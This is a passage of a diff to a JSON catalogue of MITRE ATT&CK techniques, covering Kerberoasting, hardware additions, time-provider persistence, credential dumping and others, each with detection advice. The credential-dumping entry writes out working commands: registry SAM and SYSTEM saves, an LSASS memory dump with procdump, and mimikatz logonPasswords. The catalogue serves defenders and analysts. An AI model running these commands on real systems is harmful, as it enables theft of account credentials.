"uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8"
},
{
- "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nDetection: Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.\n\nPlatforms: Windows\n\nData Sources: Binary file metadata\n\nDefense Bypassed: Anti-virus, heuristic detection, Signature-based detection",
+ "description": "Computer accessories, computers or networking hardware may be introduced into a system as a vector to gain execution. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.\n\nDetection: Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \n\nEndpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Asset Management, Data loss prevention",
+ "value": "Hardware Additions - T1200",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1200",
+ "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html",
+ "http://www.bsidesto.ca/2015/slides/Weapons%20of%20a%20Penetration%20Tester.pptx",
+ "https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained",
+ "https://www.youtube.com/watch?v=fXthwl6ShOg",
+ "https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/"
+ ],
+ "external_id": "T1200",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:initial-access"
+ ],
+ "mitre_data_sources": [
+ "Asset Management",
+ "Data loss prevention"
+ ],
+ "mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ]
+ },
+ "uuid": "d40239b3-05ff-46d8-9bdd-b46d13463ef9"
+ },
+ {
+ "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nDetection: Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.\n\nPlatforms: Windows\n\nData Sources: Binary file metadata\n\nDefense Bypassed: Anti-virus, Signature-based detection, Heuristic detection",
"value": "Software Packing - T1045",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Technique/T1045",
"http://en.wikipedia.org/wiki/Executable%20compression"
],
+ "external_id": "T1045",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"Binary file metadata"
],
@@ -3474,6 +4962,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1010"
],
+ "external_id": "T1010",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:discovery"
+ ],
"mitre_data_sources": [
"API monitoring",
"Process command-line parameters",
@@ -3487,12 +4979,42 @@
"uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830"
},
{
- "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\n\nDetection: When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as ) or known adversary infrastructure that uses this technique.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Netflow/Enclave netflow\n\nRequires Network: Yes",
+ "description": "Service principle names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts. (Citation: SANS Attacking Kerberos Nov 2014)\n\nDetection: Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]). (Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nPlatforms: Windows\n\nData Sources: Windows event logs\n\nPermissions Required: User\n\nSystem Requirements: Valid domain account or the ability to sniff traffic within a domain.\n\nContributors: Praetorian",
+ "value": "Kerberoasting - T1208",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1208",
+ "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/",
+ "https://msdn.microsoft.com/library/ms677949.aspx",
+ "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx",
+ "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/",
+ "https://github.com/EmpireProject/Empire/blob/master/data/module%20source/credentials/Invoke-Kerberoast.ps1",
+ "https://adsecurity.org/?p=2293"
+ ],
+ "external_id": "T1208",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:credential-access"
+ ],
+ "mitre_data_sources": [
+ "Windows event logs"
+ ],
+ "mitre_platforms": [
+ "Windows"
+ ]
+ },
+ "uuid": "b39d03cb-7b98-41c4-a878-c40c1a913dc0"
+ },
+ {
+ "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\n\nDetection: When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as Tor) or known adversary infrastructure that uses this technique.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Netflow/Enclave netflow\n\nRequires Network: Yes",
"value": "Multi-hop Proxy - T1188",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Technique/T1188"
],
+ "external_id": "T1188",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:command-and-control"
+ ],
"mitre_data_sources": [
"Network protocol analysis",
"Netflow/Enclave netflow"
@@ -3516,6 +5038,10 @@
"http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf",
"http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html"
],
+ "external_id": "T1062",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"System calls"
],
@@ -3526,12 +5052,11 @@
"uuid": "4be89c7c-ace6-4876-9377-c8d54cef3d63"
},
{
- "description": "Credential dumping is the process of obtaining account login and password information from the operating system and software. Credentials can be used to perform Lateral Movement and access restricted information.\n\nTools may dump credentials in many different ways: extracting credential hashes for offline cracking, extracting plaintext passwords, and extracting Kerberos tickets, among others. Examples of credential dumpers include pwdump7, Windows Credential Editor, Mimikatz, and gsecdump. These tools are in use by both professional security testers and adversaries.\n\nPlaintext passwords can be obtained using tools such as Mimikatz to extract passwords stored by the Local Security Authority (LSA). If smart cards are used to authenticate to a domain using a personal identification number (PIN), then that PIN is also cached as a result and may be dumped. (Citation: Github Mimikatz Module sekurlsa)\n\nDCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in Account Manipulation. (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the \"lsadump\" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)\n\nDetection: Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective Process Injection to reduce potential indicators of malicious activity.\n\nNTLM hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring, PowerShell logs\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux",
+ "description": "Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.\n\nSeveral of the tools mentioned in this technique may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n\n===SAM (Security Accounts Manager)===\n\nThe SAM is a database file that contains local accounts for the host, typically those found with the ‘net user’ command. To enumerate the SAM database, system level access is required.\n \nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n* pwdumpx.exe \n* gsecdump\n* Mimikatz\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n* reg save HKLM\\sam sam\n* reg save HKLM\\system system\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes. (Citation: GitHub Creddump7)\n\nNotes:\nRid 500 account is the local, in-built administrator.\nRid 501 is the guest account.\nUser accounts start with a RID of 1,000+.\n\n===Cached Credentials===\n\nThe DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches credentials when the domain controller is unavailable. The number of default cached credentials varies, and this number can be altered per system. This hash does not allow pass-the-hash style attacks.\n \nA number of tools can be used to retrieve the SAM file through in-memory techniques.\n* pwdumpx.exe \n* gsecdump\n* Mimikatz\n\nAlternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.\n\nNotes:\nCached credentials for Windows Vista are derived using PBKDF2.\n\n===Local Security Authority (LSA) Secrets===\n\nWith SYSTEM access to a host, the LSA secrets often allows trivial access from a local account to domain-based account credentials. The Registry is used to store the LSA secrets.\n \nWhen services are run under the context of local or domain users, their passwords are stored in the Registry. If auto-logon is enabled, this information will be stored in the Registry as well.\n \nA number of tools can be used to retrieve the SAM file through in-memory techniques.\n* pwdumpx.exe \n* gsecdump\n* Mimikatz\n* secretsdump.py\n\nAlternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.\n\nNotes:\nThe passwords extracted by his mechanism are UTF-16 encoded, which means that they are returned in plaintext.\nWindows 10 adds protections for LSA Secrets described in Mitigation.\n\n===NTDS from Domain Controller===\n\nActive Directory stores information about members of the domain including devices and users to verify credentials and define access rights. The Active Directory domain database is stored in the NTDS.dit file. By default the NTDS file will be located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller. (Citation: Wikipedia Active Directory)\n \nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n \n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n\n===Group Policy Preference (GPP) Files===\n\nGroup Policy Preferences (GPP) are tools that allowed administrators to create domain policies with embedded credentials. These policies, amongst other things, allow administrators to set local accounts.\n \nThese group policies are stored in SYSVOL on a domain controller, this means that any domain user can view the SYSVOL share and decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft GPP Key) (Citation: SRD GPP)\n \nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n \n* Metasploit’s post exploitation module: \"post/windows/gather/credentials/gpp\"\n* Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n \nNotes:\nOn the SYSVOL share, the following can be used to enumerate potential XML files.\ndir /s *.xml\n\n===Service Principle Names (SPNs)===\n\nSee Kerberoasting.\n\n===Plaintext Credentials===\n\nAfter a user logs on to a system, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service (LSASS) process in memory. These credentials can be harvested by a administrative user or SYSTEM.\n \nSSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs): A Security Support Provider is a dynamic-link library (DLL) that makes one or more security packages available to applications.\n\nThe following SSPs can be used to access credentials:\n \nMsv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\nWdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential Protection)\nKerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\nCredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services. (Citation: Microsoft CredSSP)\n \nThe following tools can be used to enumerate credentials:\n \n* Windows Credential Editor\n* Mimikatz\n \nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n \nFor example, on the target host use procdump:\n* procdump -ma lsass.exe lsass_dump\n \nLocally, mimikatz can be run:\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\n===DCSync=== \n\nDCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in Account Manipulation. (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the \"lsadump\" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)\n\nDetection: Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective Process Injection to reduce potential indicators of malicious activity.\n\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring, PowerShell logs\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux, Ed Williams, Trustwave, SpiderLabs",
"value": "Credential Dumping - T1003",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Technique/T1003",
- "https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa",
"https://github.com/mattifestation/PowerSploit",
"https://adsecurity.org/?p=1729",
"http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/",
@@ -3542,7 +5067,18 @@
"https://source.winehq.org/WineAPI/samlib.html",
"https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM",
"https://msdn.microsoft.com/library/cc237008.aspx",
- "https://msdn.microsoft.com/library/cc245496.aspx"
+ "https://msdn.microsoft.com/library/cc245496.aspx",
+ "https://github.com/Neohapsis/creddump7",
+ "https://en.wikipedia.org/wiki/Active%20Directory",
+ "https://msdn.microsoft.com/library/cc422924.aspx",
+ "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx",
+ "https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html",
+ "https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/",
+ "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-vista/cc749211(v=ws.10)"
+ ],
+ "external_id": "T1003",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:credential-access"
],
"mitre_data_sources": [
"API monitoring",
@@ -3557,12 +5093,18 @@
"uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22"
},
{
- "description": "Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.\n\nOne such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)\n\nDetection: Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as certutil.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Anti-virus, Host intrusion prevention systems, Signature-based detection, Network intrusion detection system\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward",
+ "description": "Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.\n\nOne such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)\n\nAnother example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with Obfuscated Files or Information during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.\n\nDetection: Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as certutil.\n\nMonitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Anti-virus, Host intrusion prevention systems, Signature-based detection, Network intrusion detection system\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward, Red Canary",
"value": "Deobfuscate/Decode Files or Information - T1140",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Technique/T1140",
- "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/"
+ "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/",
+ "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/",
+ "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
+ ],
+ "external_id": "T1140",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
],
"mitre_data_sources": [
"File monitoring",
@@ -3575,6 +5117,36 @@
},
"uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c"
},
+ {
+ "description": "The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)\n\nDetection: Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Binary file metadata, DLL monitoring, File monitoring, Loaded DLLs, Process Monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Scott Lundgren, @5twenty9, Carbon Black",
+ "value": "Time Providers - T1209",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1209",
+ "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top",
+ "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx",
+ "https://github.com/scottlundgren/w32time",
+ "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings",
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+ ],
+ "external_id": "T1209",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
+ "mitre_data_sources": [
+ "API monitoring",
+ "Binary file metadata",
+ "DLL monitoring",
+ "File monitoring",
+ "Loaded DLLs",
+ "Process Monitoring"
+ ],
+ "mitre_platforms": [
+ "Windows"
+ ]
+ },
+ "uuid": "dce31a00-1e90-4655-b0f9-e2e71a748a87"
+ },
{
"description": "The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.\n\nDetection: Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL environment variable is also suspicious.\n\nPlatforms: Linux, macOS\n\nData Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable\n\nDefense Bypassed: Log analysis, Host forensic analysis\n\nPermissions Required: User",
"value": "HISTCONTROL - T1148",
@@ -3582,6 +5154,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1148"
],
+ "external_id": "T1148",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"Process Monitoring",
"Authentication logs",
@@ -3607,6 +5183,10 @@
"https://adsecurity.org/?p=1772",
"https://msdn.microsoft.com/library/ms677982.aspx"
],
+ "external_id": "T1178",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"API monitoring",
"Authentication logs",
@@ -3619,18 +5199,24 @@
"uuid": "1df0326d-2fbc-4d08-a16b-48365f1e742d"
},
{
- "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nPopular websites and social media can act as a mechanism for command and control and give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture\n\nPermissions Required: User\n\nRequires Network: Yes",
+ "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nThese commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS 